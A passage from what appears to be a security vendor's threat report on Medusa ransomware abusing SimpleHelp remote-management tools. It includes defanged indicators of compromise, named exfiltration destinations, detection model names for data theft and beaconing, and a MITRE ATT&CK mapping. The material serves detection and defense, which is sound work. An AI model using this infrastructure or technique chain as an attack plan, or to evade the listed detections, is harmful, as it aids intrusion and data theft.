One of the devices connecting to the attacker's SimpleHelp RMM servers was also observed downloading 35 MiB from [0-9]{4}.filemail[.]com. Filemail, a legitimate file-sharing service, has reportedly been abused by Medusa actors to deliver additional malicious payloads [11].

A device controlled remotely via SimpleHelp downloading additional tooling from the Filemail file-sharing service.
Figure 5: A device controlled remotely via SimpleHelp downloading additional tooling from the Filemail file-sharing service.

Finally, integration alerts related to the ransomware binary, such as c:\windows\system32\gaze.exe and <device_hostname>\ADMIN$ file=AdminArsenal\PDQDeployRunner\service-1\exec\gaze.exe, along with “!!!READ_ME_MEDUSA!!!.txt” ransom notes were observed on network devices. This indicates that file encryption in this case was most likely carried out directly on the victim hosts rather than via the SMB protocol [3].

Conclusion

Threat actors, including nation-state actors and ransomware groups like Medusa, have long abused legitimate commercial RMM tools, typically used by system administrators for remote monitoring, software deployment, and device configuration, instead of relying on remote access trojans (RATs).

Attackers employ existing authorized RMM tools or install new remote administration software to enable persistence, lateral movement, data exfiltration, and ingress tool transfer. By mimicking legitimate administrative behavior, RMM abuse enables attackers to evade detection, as security software often implicitly trusts these tools, allowing attackers to bypass traditional security controls [28][29][30].

To mitigate such risks, organizations should promptly patch publicly exposed RMM servers and adopt anomaly-based detection solutions, like Darktrace / NETWORK, which can distinguish legitimate administrative activity from malicious behavior, applying rapid response measures through its Autonomous Response capability to stop attacks in their tracks.

Darktrace delivers comprehensive network visibility and Autonomous Response capabilities, enabling real-time detection of anomalous activity and rapid mitigation, even if an organization fall under Medusa’s gaze.

Credit to Signe Zaharka (Principal Cyber Analyst) and Emma Foulger (Global Threat Research Operations Lead

Edited by Ryan Traill (Analyst Content Lead)

Appendices

List of Indicators of Compromise (IoCs)

IoC - Type - Description + Confidence + Time Observed

185.108.129[.]62 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - March 7, 2023

185.126.238[.]119 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - November 26-27, 2024

213.183.63[.]41 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - November 28, 2024 - Sep 30, 2025

213.183.63[.]42 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - July 4 -9 , 2024

31.220.45[.]120 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - September 12 - Oct 20 , 2025

91.92.246[.]110 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - May 24, 2024

45.9.149[.]112:15330 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - June 21, 2024

89.36.161[.]12 IP address Malicious SimpleHelp server observed during Medusa attacks (High confidence) - June 26-28, 2024

193.37.69[.]154:7070 IP address Suspicious RU IP seen on a device being controlled via SimpleHelp and exfiltrating data to a Medusa related endpoint - September 30 - October 20, 2025

erp.ranasons[.]com·143.110.243[.]154 Hostname Data exfiltration destination - November 27, 2024 - September 30, 2025

pruebas.pintacuario[.]mx·144.217.181[.]205 - Hostname Data exfiltration destination - November 27, 2024  -  March 26, 2025

lirdel[.]com · 44.235.83[.]125/a.msi (1b9869a2e862f1e6a59f5d88398463d3962abe51e19a59) File & hash Atera related file downloaded with PowerShell - June 20, 2024

wizarr.manate[.]ch/108.215.180[.]161:8585/$/1dIL5 File Suspicious file observed on one of the devices exhibiting unusual activity during a Medusa compromise - February 28, 2024

!!!READ_ME_MEDUSA!!!.txt" File - Ransom note

*.MEDUSA - File extension        File extension added to encrypted files

gaze.exe – File - Ransomware binary

Darktrace Model Coverage

Darktrace / NETWORK model detections triggered during connections to attacker controlled SimpleHelp servers:

Anomalous Connection/Anomalous SSL without SNI to New External

Anomalous Connection/Multiple Connections to New External UDP Port

Anomalous Connection/New User Agent to IP Without Hostname

Anomalous Connection/Rare External SSL Self-Signed

Anomalous Connection/Suspicious Self-Signed SSL

Anomalous File/EXE from Rare External Location

Anomalous Server Activity/Anomalous External Activity from Critical Network Device

Anomalous Server Activity/New User Agent from Internet Facing System

Anomalous Server Activity/Outgoing from Server

Anomalous Server Activity/Rare External from Server

Compromise/High Volume of Connections with Beacon Score

Compromise/Large Number of Suspicious Failed Connections

Compromise/Ransomware/High Risk File and Unusual SMB

Device/New User Agent

Unusual Activity/Unusual External Data to New Endpoint

Unusual Activity/Unusual External Data Transfer

Darktrace / NETWORK Model Detections during the September/October 2025 Medusa attack:

Anomalous Connection / Data Sent to Rare Domain

Anomalous Connection / Download and Upload

Anomalous Connection / Low and Slow Exfiltration

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Uncommon 1 GiB Outbound

Anomalous Connection / Unusual Admin RDP Session

Anomalous Connection / Unusual Incoming Long Remote Desktop Session

Anomalous Connection / Unusual Long SSH Session

Anomalous File / EXE from Rare External Location

Anomalous File / Internal/Unusual Internal EXE File Transfer

Anomalous Server Activity / Anomalous External Activity from Critical Network Device

Anomalous Server Activity / Outgoing from Server

Anomalous Server Activity / Rare External from Server

Compliance / Default Credential Usage

Compliance / High Priority Compliance Model Alert

Compliance / Outgoing NTLM Request from DC

Compliance / Possible Unencrypted Password File On Server

Compliance / Remote Management Tool On Server

Compromise / Large Number of Suspicious Failed Connections

Compromise / Large Number of Suspicious Successful Connections

Compromise / Ransomware/High Risk File and Unusual SMB

Compromise / Suspicious Beaconing Behaviour

Compromise / Suspicious HTTP and Anomalous Activity

Compromise / Sustained SSL or HTTP Increase

Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

Device / ICMP Address Scan

Device / Increase in New RPC Services

Device / Initial Attack Chain Activity

Device / Large Number of Model Alert

Device / Large Number of Model Alerts from Critical Network Device

Device / Lateral Movement and C2 Activity

Device / Multiple C2 Model Alert

Device / Network Scan

Device / Possible SMB/NTLM Reconnaissance

Device / Spike in LDAP Activity

Device / Suspicious Network Scan Activity

Device / Suspicious SMB Scanning Activity

Security Integration / High Severity Integration Incident

Security Integration / Low Severity Integration Incident

Unusual Activity / Enhanced Unusual External Data Transfer

Unusual Activity / Internal Data Transfer

Unusual Activity / Unusual External Activity

Unusual Activity / Unusual External Data to New Endpoint

Unusual Activity / Unusual External Data Transfer

User / New Admin Credentials on Server

Autonomous Response Actions

Antigena / Network/External Threat/Antigena File then New Outbound Block

Antigena / Network/External Threat/Antigena Ransomware Block

Antigena / Network/External Threat/Antigena Suspicious Activity Block

Antigena / Network/External Threat/Antigena Suspicious File Block

Antigena / Network/Insider Threat/Antigena Internal Anomalous File Activity

Antigena / Network/Insider Threat/Antigena Internal Data Transfer Block

Antigena / Network/Insider Threat/Antigena Large Data Volume Outbound Block

Antigena / Network/Insider Threat/Antigena Network Scan Block

Antigena / Network/Insider Threat/Antigena Unusual Privileged User Activities Block

Antigena / Network/Significant Anomaly/Antigena Alerts Over Time Block

Antigena / Network/Significant Anomaly/Antigena Controlled and Model Alert

Antigena / Network/Significant Anomaly/Antigena Enhanced Monitoring from Server Block

Antigena / Network/Significant Anomaly/Antigena Significant Server Anomaly Block

Antigena / Network/Significant Anomaly/Repeated Antigena Alerts

MITRE ATT&CK Mapping

Technique Name, Tactic, ID, Sub-Technique

Application Layer Protocol , COMMAND AND CONTROL , T1071

Automated Collection , COLLECTION , T1119

Automated Exfiltration , EXFILTRATION , T1020

Brute Force , CREDENTIAL ACCESS , T1110

Client Configurations , RECONNAISSANCE , T1592.004 , T1592

Cloud Accounts , DEFENSE EVASION ,  PERSISTENCE ,  PRIVILEGE ESCALATION ,  INITIAL ACCESS , T1078.004 , T1078

Command-Line Interface , EXECUTION ICS , T0807

Credential Stuffing , CREDENTIAL ACCESS , T1110.004 , T1110

Data Encrypted for Impact , IMPACT , T1486

Data from Network Shared Drive , COLLECTION , T1039

Data Obfuscation , COMMAND AND CONTROL , T1001

Data Staged , COLLECTION , T1074

Data Transfer Size Limits , EXFILTRATION , T1030

Default Accounts , DEFENSE EVASION ,  PERSISTENCE ,  PRIVILEGE ESCALATION ,  INITIAL ACCESS , T1078.001 , T1078

Default Credentials , LATERAL MOVEMENT ICS , T0812

Distributed Component Object Model , LATERAL MOVEMENT , T1021.003 , T1021

Drive-by Compromise , INITIAL ACCESS ICS , T0817

Drive-by Compromise , INITIAL ACCESS , T1189

Email Collection , COLLECTION , T1114

Exfiltration Over Alternative Protocol , EXFILTRATION , T1048

Exfiltration Over C2 Channel , EXFILTRATION , T1041

Exfiltration to Cloud Storage , EXFILTRATION , T1567.002 , T1567

Exploit Public-Facing Application , INITIAL ACCESS , T1190

Exploitation for Privilege Escalation , PRIVILEGE ESCALATION , T0890

Exploitation of Remote Services , LATERAL MOVEMENT , T1210

Exploits , RESOURCE DEVELOPMENT , T1588.005 , T1588

File and Directory Discovery , DISCOVERY , T1083

File Deletion , DEFENSE EVASION , T1070.004 , T1070

Graphical User Interface , EXECUTION ICS , T0823

Ingress Tool Transfer , COMMAND AND CONTROL , T1105

Lateral Tool Transfer , LATERAL MOVEMENT , T1570

LLMNR/NBT-NS Poisoning and SMB Relay , CREDENTIAL ACCESS ,  COLLECTION , T1557.001 , T1557

Malware , RESOURCE DEVELOPMENT , T1588.001 , T1588

Network Service Scanning , DISCOVERY , T1046

Network Share Discovery , DISCOVERY , T1135

Non-Application Layer Protocol , COMMAND AND CONTROL , T1095

Non-Standard Port , COMMAND AND CONTROL , T1571

One-Way Communication , COMMAND AND CONTROL , T1102.003 , T1102

Pass the Hash , DEFENSE EVASION ,  LATERAL MOVEMENT , T1550.002 , T1550

Password Cracking , CREDENTIAL ACCESS , T1110.002 , T1110

Password Guessing , CREDENTIAL ACCESS , T1110.001 , T1110

Password Spraying , CREDENTIAL ACCESS , T1110.003 , T1110

Program Download , LATERAL MOVEMENT ICS , T0843

Program Upload , COLLECTION ICS , T0845

Remote Access Software , COMMAND AND CONTROL , T1219

Remote Desktop Protocol , LATERAL MOVEMENT , T1021.001 , T1021

Remote System Discovery , DISCOVERY , T1018

Scanning IP Blocks , RECONNAISSANCE , T1595.001 , T1595

Scheduled Transfer , EXFILTRATION , T1029

Spearphishing Attachment , INITIAL ACCESS ICS , T0865

Standard Application Layer Protocol , COMMAND AND CONTROL ICS , T0869

Supply Chain Compromise , INITIAL ACCESS ICS , T0862

User Execution , EXECUTION ICS , T0863

Valid Accounts , DEFENSE EVASION ,  PERSISTENCE ,  PRIVILEGE ESCALATION ,  INITIAL ACCESS , T1078

Valid Accounts , PERSISTENCE ICS ,  LATERAL MOVEMENT ICS , T0859

Vulnerabilities , RESOURCE DEVELOPMENT , T1588.006 , T1588

Vulnerability Scanning , RECONNAISSANCE , T1595.002 , T1595

Web Protocols , COMMAND AND CONTROL , T1071.001 , T1071

References

1. https://www.intel471.com/blog/threat-hunting-case-study-medusa-ransomware

2. https://www.ransomware.live/group/medusa

3. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-071a

4. https://www.microsoft.com/en-us/security/blog/2025/10/06/investigating-active-exploitation-of-cve-2025-10035-goanywhere-managed-file-transfer-vulnerability/

5. https://zensec.co.uk/blog/how-rmm-abuse-fuelled-medusa-dragonforce-attacks/

6. https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/medusa-ransomware-group/

7. https://cyberpress.org/medusa-ransomware-attacks-spike-42/

8. https://blog.barracuda.com/2025/02/25/medusa-ransomware-and-its-cybercrime-ecosystem

10. https://www.cyberdaily.au/security/10021-more-monster-than-myth-unpacking-the-medusa-ransomware-operation

11. https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/

12. https://www.bitdefender.com/en-us/blog/businessinsights/medusa-ransomware-a-growing-threat-with-a-bold-online-presence

13. https://redpiranha.net/news/medusa-ransomware-everything-you-need-know

14.  https://www.theregister.com/2025/03/13/medusa_ransomware_infects_300_critical/

15. https://www.s-rminform.com/latest-thinking/cyber-threat-advisory-medusa-and-the-simplehelp-vulnerability

16. https://nagomisecurity.com/medusa-ransomware-us-cert-alert

17. https://arcticwolf.com/resources/blog/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-for-initial-access/

18. https://securityboulevard.com/2025/04/medusa-ransomware-inside-the-2025-resurgence-of-one-of-the-internets-most-aggressive-threats/

19. https://thehackernews.com/2025/03/medusa-ransomware-hits-40-victims-in.html

20.  https://www.quorumcyber.com/threat-intelligence/critical-alert-medusa-ransomware-threat-highlighted-by-fbi-cisa-and-ms-isac/

21. https://brandefense.io/blog/stone-gaze-in-depth-analysis-of-medusa-ransomware/

22. https://www.darktrace.com/ja/blog/2025-cyber-threat-landscape-darktraces-mid-year-review

23. https://www.joesandbox.com/analysis/1576447/0/html

24. https://blog.barracuda.com/2025/02/25/medusa-ransomware-and-its-cybercrime-ecosystem

25. https://shassit.mit.edu/news/medusa-ransomware-attacks-on-gmail/

26. https://thehackernews.com/2025/03/medusa-ransomware-uses-malicious-driver.html

27. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a

28. https://www.catonetworks.com/blog/cato-ctrl-investigation-of-rmm-tools/

29. https://redcanary.com/threat-detection-report/trends/rmm-tools/

30. https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice

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About the author
Signe Zaharka
Principal Cyber Analyst
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